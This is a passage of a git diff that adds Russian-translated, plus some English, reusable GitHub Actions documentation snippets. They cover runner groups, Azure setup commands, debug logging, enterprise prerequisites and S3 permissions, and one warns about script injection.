@@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 439fa690d39da766db2992f599c0fc1f5e859e81 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145117008" +--- +Контексты, объекты и свойства во многом зависят от условий выполнения рабочего процесса. diff --git a/translations/ru-RU/data/reusables/actions/context-example-note.md b/translations/ru-RU/data/reusables/actions/context-example-note.md new file mode 100644 index 000000000000..45140bcd6263 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/context-example-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 0e8d3509fcda8d764135eab1f2b246175d060543 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145116992" +--- +{% note %} + +**Примечание**. Этот контекст является просто примером. Содержимое контекста зависит от выполняемого рабочего процесса. {% data reusables.actions.context-contents %} + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/context-injection-warning.md b/translations/ru-RU/data/reusables/actions/context-injection-warning.md new file mode 100644 index 000000000000..4a19ef508b6b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/context-injection-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4197ada5ec17f050b4b6959b6bdbb1be94b80e40 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883103" +--- +{% warning %} + +**Предупреждение.** Во время создания рабочих процессов и действий необходимо учитывать, будет ли код использовать непроверенные входные данные от возможных злоумышленников. Некоторые контексты следует считать непроверенными, так как злоумышленники могут вставить собственное вредоносное содержимое. Дополнительные сведения см. в разделе ["Основные сведения о риске вставки данных в скрипты"](/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/actions/copy-workflow-file.md b/translations/ru-RU/data/reusables/actions/copy-workflow-file.md new file mode 100644 index 000000000000..39e3a846fb09 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/copy-workflow-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: abc61b4a57ca559560aacdea011433460acaff74 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145116984" +--- +Этот файл рабочего процесса можно скопировать в каталог `.github/workflows` репозитория и при необходимости изменить его. diff --git a/translations/ru-RU/data/reusables/actions/create-azure-app-plan.md b/translations/ru-RU/data/reusables/actions/create-azure-app-plan.md new file mode 100644 index 000000000000..271818e2ac41 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/create-azure-app-plan.md @@ -0,0 +1,25 @@ +--- +ms.openlocfilehash: 6058de00ebbc05baaa2e29cfba275fa2249b44a3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881198" +--- +1. Создать план Службы приложений Azure. + + Например, можно использовать Azure CLI для создания нового плана Службы приложений: + + ```bash{:copy} + az appservice plan create \ + --resource-group MY_RESOURCE_GROUP \ + --name MY_APP_SERVICE_PLAN \ + --is-linux + ``` + + В приведенной выше команде замените `MY_RESOURCE_GROUP` на существующую группу ресурсов Azure, а `MY_APP_SERVICE_PLAN` — на новое имя плана Службы приложений. + + Дополнительные сведения об использовании [Azure CLI](https://docs.microsoft.com/cli/azure/) см. в документации по Azure: + + * Сведения о проверке подлинности см. в разделе [Вход с помощью Azure CLI](https://docs.microsoft.com/cli/azure/authenticate-azure-cli). + * Сведения о создании группы ресурсов см. в разделе, посвященном команде [az group](https://docs.microsoft.com/cli/azure/group?view=azure-cli-latest#az_group_create). diff --git a/translations/ru-RU/data/reusables/actions/create-azure-publish-profile.md b/translations/ru-RU/data/reusables/actions/create-azure-publish-profile.md new file mode 100644 index 000000000000..d007f76c8d0d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/create-azure-publish-profile.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 00bdf100d02b27ce76aff35582cb4a1f5a2469a3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145116976" +--- +1. Настройте профиль публикации Azure и создайте секрет `AZURE_WEBAPP_PUBLISH_PROFILE`. + + Создайте учетные данные развертывания Azure с помощью профиля публикации. Дополнительные сведения см. в разделе [Создание учетных данных развертывания](https://docs.microsoft.com/azure/app-service/deploy-github-actions?tabs=applevel#generate-deployment-credentials) в документации по Azure. + + В репозитории {% data variables.product.prodname_dotcom %} создайте секрет `AZURE_WEBAPP_PUBLISH_PROFILE`, содержащий сведения из профиля публикации. Дополнительные сведения о создании секретов см. в разделе [Зашифрованные секреты](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository). diff --git a/translations/ru-RU/data/reusables/actions/create-runner-group.md b/translations/ru-RU/data/reusables/actions/create-runner-group.md new file mode 100644 index 000000000000..977a60cd7c02 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/create-runner-group.md @@ -0,0 +1 @@ +1. Click **{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}Create{%- elsif ghes < 3.4 or ghae < 3.4 %}Save{% endif %} group** to create the group and apply the policy. diff --git a/translations/ru-RU/data/reusables/actions/creating-a-runner-group-for-an-enterprise.md b/translations/ru-RU/data/reusables/actions/creating-a-runner-group-for-an-enterprise.md new file mode 100644 index 000000000000..e1c66d708e06 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/creating-a-runner-group-for-an-enterprise.md @@ -0,0 +1,28 @@ +{% comment %} + +Always include a security admonition above this procedure. This is either one of the following, depending on whether the context is self-hosted runners or larger runners. + +{% data reusables.actions.self-hosted-runner-security-admonition %} +{% data reusables.actions.hosted-runner-security-admonition %} + +{% endcomment %} + +Enterprises can add their runners to groups for access management. Enterprises can create groups of runners that are accessible to specific organizations in the enterprise account{% ifversion restrict-groups-to-workflows %} or to specific workflows{% endif %}. Organization owners can then assign additional granular repository{% ifversion restrict-groups-to-workflows %} or workflow{% endif %} access policies to the enterprise runner groups. For information about how to create a runner group with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runner-groups). + +Runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group. + +When creating a group, you must choose a policy that defines which organizations have access to the runner group. + +{% data reusables.actions.runner-groups-add-to-enterprise-first-steps %} +1. To choose a policy for organization access, select the **Organization access** drop-down, and click a policy. You can configure a runner group to be accessible to a specific list of organizations, or all organizations in the enterprise.{% ifversion ghes %} By default, only private repositories can access runners in a runner group, but you can override this.{% endif %} + + {%- ifversion ghec or ghes %} + + ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png) + {%- elsif ghae %} + + ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options-ae.png) + {%- endif %} +{% data reusables.actions.runner-group-assign-policy-workflow %} +1. Click **Save group** to create the group and apply the policy. + diff --git a/translations/ru-RU/data/reusables/actions/creating-a-runner-group-for-an-organization.md b/translations/ru-RU/data/reusables/actions/creating-a-runner-group-for-an-organization.md new file mode 100644 index 000000000000..afe257760751 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/creating-a-runner-group-for-an-organization.md @@ -0,0 +1,38 @@ +{% comment %} + +Always include a security admonition above this procedure. This is either one of the following, depending on whether the context is self-hosted runners or larger runners. + +{% data reusables.actions.self-hosted-runner-security-admonition %} +{% data reusables.actions.hosted-runner-security-admonition %} + +{% endcomment %} + +All organizations have a single default runner group. Organizations within an enterprise account can create additional groups. Organization admins can allow individual repositories access to a runner group. For information about how to create a runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)." + +Runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create. + +When creating a group, you must choose a policy that defines which repositories{% ifversion restrict-groups-to-workflows %} and workflows{% endif %} have access to the runner group. + +{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-runner-groups %} +1. In the "Runner groups" section, click **New runner group**. +1. Enter a name for your runner group. + {% data reusables.actions.runner-group-assign-policy-repo %} +{% data reusables.actions.runner-group-assign-policy-workflow %}{%- ifversion restrict-groups-to-workflows %} Organization-owned runner groups cannot access workflows from a different organization in the enterprise; instead, you must create an enterprise-owned runner group.{% endif %} +{% data reusables.actions.create-runner-group %} +{% elsif ghae < 3.4 or ghes < 3.4 %} +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-runner-groups %} +1. Under {% ifversion ghes or ghae %}"Runners"{% endif %}, click **Add new**, and then **New group**. + + ![Add runner group](/assets/images/help/settings/actions-org-add-runner-group.png) +1. Enter a name for your runner group, and assign a policy for repository access. + + You can configure a runner group to be accessible to a specific list of repositories, or to all repositories in the organization.{% ifversion ghec or ghes %} By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %} + + ![Add runner group options](/assets/images/help/settings/actions-org-add-runner-group-options.png) +1. Click **Save group** to create the group and apply the policy. +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/cron-table-entry.md b/translations/ru-RU/data/reusables/actions/cron-table-entry.md new file mode 100644 index 000000000000..95a3d8cafc43 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/cron-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f0d4940206895e8c6385f0e95bd94773a2deaabf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067885" +--- +| Выполнение рабочего процесса через регулярные интервалы: | [`schedule`](/actions/learn-github-actions/events-that-trigger-workflows#schedule) | diff --git a/translations/ru-RU/data/reusables/actions/defaults-override.md b/translations/ru-RU/data/reusables/actions/defaults-override.md new file mode 100644 index 000000000000..4a5abcf1e76e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/defaults-override.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 26ca7697a6efc21a666ddb9550746e8609a20235 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114576" +--- +Если определено несколько параметров по умолчанию с одинаковым именем, {% data variables.product.prodname_dotcom %} использует наиболее конкретный из них. Например, параметр по умолчанию, указанный в задании, переопределит параметр по умолчанию с тем же именем, указанным в рабочем процессе. diff --git a/translations/ru-RU/data/reusables/actions/delete-env-key.md b/translations/ru-RU/data/reusables/actions/delete-env-key.md new file mode 100644 index 000000000000..9281cfdbc8e6 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/delete-env-key.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1d719b2317f528435237d8d35bb27486aea99619 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114571" +--- +Если вы настроили среду развертывания, измените значение `environment` на имя среды. Если вы не настроили среду {% ifversion fpt or ghec %}, или если рабочий процесс находится в частном репозитории, и вы не используете {% data variables.product.prodname_ghe_cloud %}{% endif %}, удалите ключ `environment`. diff --git a/translations/ru-RU/data/reusables/actions/disabled-actions-description.md b/translations/ru-RU/data/reusables/actions/disabled-actions-description.md new file mode 100644 index 000000000000..21ffbc655f11 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/disabled-actions-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fd910075a51775b681ec507845f3846718ae9574 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883508" +--- +При отключении {% data variables.product.prodname_actions %} рабочие процессы в репозитории не выполняются. diff --git a/translations/ru-RU/data/reusables/actions/disabling-github-actions.md b/translations/ru-RU/data/reusables/actions/disabling-github-actions.md new file mode 100644 index 000000000000..ef2c62fe2f15 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/disabling-github-actions.md @@ -0,0 +1 @@ +By default, {% ifversion ghes or ghae %}after {% data variables.product.prodname_actions %} is enabled on {% data variables.location.product_location %}, it{% elsif fpt or ghec %}{% data variables.product.prodname_actions %}{% endif %} is enabled on all repositories and organizations. You can choose to disable {% data variables.product.prodname_actions %} or limit it to actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} in your {% ifversion ghec or ghes or ghae %}enterprise{% else %}organization{% endif %}. diff --git a/translations/ru-RU/data/reusables/actions/docker-container-os-support.md b/translations/ru-RU/data/reusables/actions/docker-container-os-support.md new file mode 100644 index 000000000000..b836f357ec53 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/docker-container-os-support.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 8fbc87982e138f3a594dce7db5375c1d684a16ad +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114563" +--- +{% note %} + +**Примечание.** Если в рабочих процессах используются действия контейнеров Docker, контейнеров заданий или контейнеров служб, необходимо применять средство выполнения Linux: + +* При использовании размещенных в {% data variables.product.prodname_dotcom %} средств выполнения необходимо применять средство выполнения Ubuntu. +* Если вы применяете локальные средства выполнения, необходимо использовать компьютер Linux в качестве средства выполнения, а Docker нужно установить. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/dockerfile-guidelines.md b/translations/ru-RU/data/reusables/actions/dockerfile-guidelines.md new file mode 100644 index 000000000000..668a5fa681b9 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/dockerfile-guidelines.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 13094fe7066c2611ad2a1b1a2127a9c9fd02f46d +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879165" +--- +1. Задокументируйте обязательные аргументы в README действия и опустите их из инструкции `CMD`. +1. Используйте значения по умолчанию, позволяющие использовать действие без указания `args`. +1. Если действие предоставляет флаг `--help` или что-то подобное, используйте его, чтобы действие документировало само себя. diff --git a/translations/ru-RU/data/reusables/actions/enable-debug-logging-cli.md b/translations/ru-RU/data/reusables/actions/enable-debug-logging-cli.md new file mode 100644 index 000000000000..eb7f8dd2391d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enable-debug-logging-cli.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 31b4f20532348b6aee0be1e4dc9277fd08123707 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882854" +--- +Чтобы включить ведение журнала диагностики средства выполнения и ведение журнала пошаговой отладки для повторного выполнения, установите флаг `--debug`. diff --git a/translations/ru-RU/data/reusables/actions/enable-debug-logging.md b/translations/ru-RU/data/reusables/actions/enable-debug-logging.md new file mode 100644 index 000000000000..e4039771c0e2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enable-debug-logging.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 16757b530df232e4b667c3c7c05b8ad17b5d9930 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062725" +--- +{% ifversion debug-reruns %} +1. Чтобы включить ведение журнала диагностики для средства выполнения и ведение журнала пошаговой отладки для повторного выполнения, установите флажок **Включить ведение журнала отладки**. + ![Включить ведение журнала отладки](/assets/images/help/repository/enable-debug-logging.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/enabled-actions-description.md b/translations/ru-RU/data/reusables/actions/enabled-actions-description.md new file mode 100644 index 000000000000..63c5a4759bc4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enabled-actions-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ab6a2179820f4517ec815e953fa1194be97f5a31 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180826" +--- +Если включить {% data variables.product.prodname_actions %}, рабочие процессы могут выполнять действия {% ifversion actions-workflow-policy %}и повторно используемые рабочие процессы{% endif %} в репозитории и любом другом{% ifversion fpt %} общедоступном{% elsif ghec or ghes %} общедоступном или внутреннем{% elsif ghae %} внутреннем{% endif %} репозитории. diff --git a/translations/ru-RU/data/reusables/actions/enterprise-billing-details.md b/translations/ru-RU/data/reusables/actions/enterprise-billing-details.md new file mode 100644 index 000000000000..146652055601 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-billing-details.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7225a47ca72ae087fe5752481fea8ee402a3baab +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114552" +--- +Использование включает в себя общее количество минут для каждой организации. Объединенная сводка для {% data variables.product.prodname_actions %} и {% data variables.product.prodname_registry %} не перечисляет минуты, платные минуты или оценку расходов на ГБ хранилища. diff --git a/translations/ru-RU/data/reusables/actions/enterprise-common-prereqs.md b/translations/ru-RU/data/reusables/actions/enterprise-common-prereqs.md new file mode 100644 index 000000000000..b0541a2c44d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-common-prereqs.md @@ -0,0 +1,9 @@ +* Review the hardware requirements for {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)." +* TLS must be configured for {% data variables.location.product_location %}'s domain. For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)." + + {% note %} + + **Note:** {% data reusables.actions.enterprise-self-signed-cert %} + + {% endnote %} +* {% data reusables.actions.enterprise-http-proxy %} diff --git a/translations/ru-RU/data/reusables/actions/enterprise-enable-checkbox.md b/translations/ru-RU/data/reusables/actions/enterprise-enable-checkbox.md new file mode 100644 index 000000000000..b48a6068cc26 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-enable-checkbox.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 808b30516f45b21365ef4e2d3118de590fcce815 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114523" +--- +1. Установите флажок **Включить GitHub Actions**. + ![Флажок "Включить GitHub Actions"](/assets/images/enterprise/management-console/enable-github-actions.png) diff --git a/translations/ru-RU/data/reusables/actions/enterprise-github-hosted-runners.md b/translations/ru-RU/data/reusables/actions/enterprise-github-hosted-runners.md new file mode 100644 index 000000000000..fc0f460e9a92 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-github-hosted-runners.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: b3d9210e3fc47da50d4044ffb2c26f8da3ea0fcc +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879181" +--- +{% ifversion ghes %} {% note %} + +**Примечание.** В {% data variables.product.prodname_ghe_server %} в настоящее время не поддерживаются средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}. Дополнительные сведения о планируемой поддержке в будущем см. в [{% data variables.product.prodname_roadmap %}](https://github.com/github/roadmap/issues/72). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/enterprise-http-proxy.md b/translations/ru-RU/data/reusables/actions/enterprise-http-proxy.md new file mode 100644 index 000000000000..1c7693f8ea1e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-http-proxy.md @@ -0,0 +1,6 @@ +If you have an **HTTP Proxy Server** configured on {% data variables.location.product_location %}: + + - You must add `localhost` and `127.0.0.1` to the **HTTP Proxy Exclusion** list. + - If your external storage location is not routable, then you must also add your external storage URL to the exclusion list. + + For more information on changing your proxy settings, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-an-outbound-web-proxy-server)." diff --git a/translations/ru-RU/data/reusables/actions/enterprise-limit-actions-use.md b/translations/ru-RU/data/reusables/actions/enterprise-limit-actions-use.md new file mode 100644 index 000000000000..c0ffd0bcef7f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-limit-actions-use.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 57dd592642779d4f83f93d25fb6cc1c6a54d51e1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114496" +--- +После включения {% data variables.product.prodname_github_connect %} можно использовать политики, чтобы ограничить открытые действия, которые можно использовать в репозиториях в своей организации. Дополнительные сведения см. в разделе "[Применение политик GitHub Actions для вашего предприятия](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)". diff --git a/translations/ru-RU/data/reusables/actions/enterprise-marketplace-actions.md b/translations/ru-RU/data/reusables/actions/enterprise-marketplace-actions.md new file mode 100644 index 000000000000..44dd8a398e20 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-marketplace-actions.md @@ -0,0 +1,9 @@ +{% ifversion ghes %} + +{% note %} + +**Note:** {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} may have limited access to actions on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.product.prodname_marketplace %}. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/enterprise-no-internet-actions.md b/translations/ru-RU/data/reusables/actions/enterprise-no-internet-actions.md new file mode 100644 index 000000000000..a6c7250a7a24 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-no-internet-actions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d52f95a3da9d308e4820a8d9d06e895238d0dba5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879480" +--- +{% data variables.product.prodname_actions %} для {% data variables.product.product_name %} предназначен для работы в средах без полного доступа к Интернету. По умолчанию рабочие процессы не могут использовать действия с {% data variables.product.prodname_dotcom_the_website %} и из [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). diff --git a/translations/ru-RU/data/reusables/actions/enterprise-postinstall-nextsteps.md b/translations/ru-RU/data/reusables/actions/enterprise-postinstall-nextsteps.md new file mode 100644 index 000000000000..f241306500c3 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-postinstall-nextsteps.md @@ -0,0 +1,3 @@ +### Next steps + +After the configuration run has successfully completed, {% data variables.product.prodname_actions %} will be enabled on {% data variables.location.product_location %}. For your next steps, such as managing {% data variables.product.prodname_actions %} access permissions and adding self-hosted runners, return to "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)." diff --git a/translations/ru-RU/data/reusables/actions/enterprise-s3-permission.md b/translations/ru-RU/data/reusables/actions/enterprise-s3-permission.md new file mode 100644 index 000000000000..b899d37b531c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-s3-permission.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: b8320e8e835d0ed7522b63b7632f1704d7cf32fc +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880247" +--- +{% data variables.product.prodname_actions %} требуются следующие разрешения для ключа доступа, который будет обращаться к контейнеру: + +* `s3:PutObject` +* `s3:GetObject` +* `s3:ListBucketMultipartUploads` +* `s3:ListMultipartUploadParts` +* `s3:AbortMultipartUpload` +* `s3:DeleteObject` +* `s3:ListBucket` +* `kms:GenerateDataKey` (если включено шифрование Key Management Service (KMS)) + diff --git a/translations/ru-RU/data/reusables/actions/enterprise-s3-tech-partners.md b/translations/ru-RU/data/reusables/actions/enterprise-s3-tech-partners.md new file mode 100644 index 000000000000..c3625ee54034 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-s3-tech-partners.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 9c9491e480303bcc5403e9ba5e613bb0233de692 +ms.sourcegitcommit: 8f7c8d52755cc3af0f366cc74c6db9e9be4d2ecd +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/04/2022 +ms.locfileid: "148132667" +--- +Существуют другие продукты хранения, совместимые с API S3, которые партнеры {% data variables.product.prodname_dotcom %} самостоятельно проверили работу с {% data variables.product.prodname_actions %} в {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в репозитории [партнеров по хранилищу GHES](https://github.com/github-technology-partners/ghes-storage-partners) . + +Для продуктов хранения, проверенных в рамках программы технологического партнерства {% data variables.product.prodname_dotcom %}, поставщик хранилища отвечает за поддержку и документацию по использованию продукта хранения с {% data variables.product.prodname_actions %}. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/actions/enterprise-self-signed-cert.md b/translations/ru-RU/data/reusables/actions/enterprise-self-signed-cert.md new file mode 100644 index 000000000000..2e8621918983 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-self-signed-cert.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6ab10458d3f6e8a91b6f21476d5350e6fe728479 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114467" +--- +Настоятельно рекомендуется настроить TLS в {% data variables.product.prodname_ghe_server %} с сертификатом, подписанным доверенным центром авторизации. Хотя самозаверяющий сертификат можно использовать, необходимо дополнительно настроить локальные средства выполнения тестов, и не рекомендуется использовать сертификат для рабочих сред. diff --git a/translations/ru-RU/data/reusables/actions/enterprise-setup-prereq.md b/translations/ru-RU/data/reusables/actions/enterprise-setup-prereq.md new file mode 100644 index 000000000000..9d7fc75e6ab9 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-setup-prereq.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 96d8c710c36e57c753d2fd4d45613f0e4152292f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114448" +--- +{% ifversion ghes %} + +### Использование локальных средств выполнения тестов для {% data variables.product.prodname_ghe_server %} + +При использовании действий установки (таких как `actions/setup-LANGUAGE`) в {% data variables.product.prodname_ghe_server %} с использованием локальных средств выполнения тестов может потребоваться настроить в них кэш инструментов, у которых отсутствует доступ к Интернету. Дополнительные сведения см. в разделе [Настройка кэша инструментов для локально размещенных средств выполнения без доступа к Интернету](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access). + +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/enterprise-storage-ha-backups.md b/translations/ru-RU/data/reusables/actions/enterprise-storage-ha-backups.md new file mode 100644 index 000000000000..1fc6cd0c6e32 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/enterprise-storage-ha-backups.md @@ -0,0 +1 @@ +{% data variables.product.prodname_actions %} uses external storage to store workflow artifacts and logs. This data is stored on your external provider, such as Azure blob storage, Amazon S3,{% ifversion actions-ghes-gcp-storage %} Google Cloud Storage,{% endif %} or MinIO. As a result, {% data variables.product.prodname_ghe_server %} backups and {% data variables.product.prodname_ghe_server %} high availability configurations do not provide protection for the data stored on this external storage, and instead rely on the data protection and replication provided by the external storage provider, such as Azure{% ifversion actions-ghes-gcp-storage %}, Google Cloud,{% endif %} or AWS. diff --git a/translations/ru-RU/data/reusables/actions/environment-deployment-event.md b/translations/ru-RU/data/reusables/actions/environment-deployment-event.md new file mode 100644 index 000000000000..ea2b7692bca1 --- /dev/null +++ 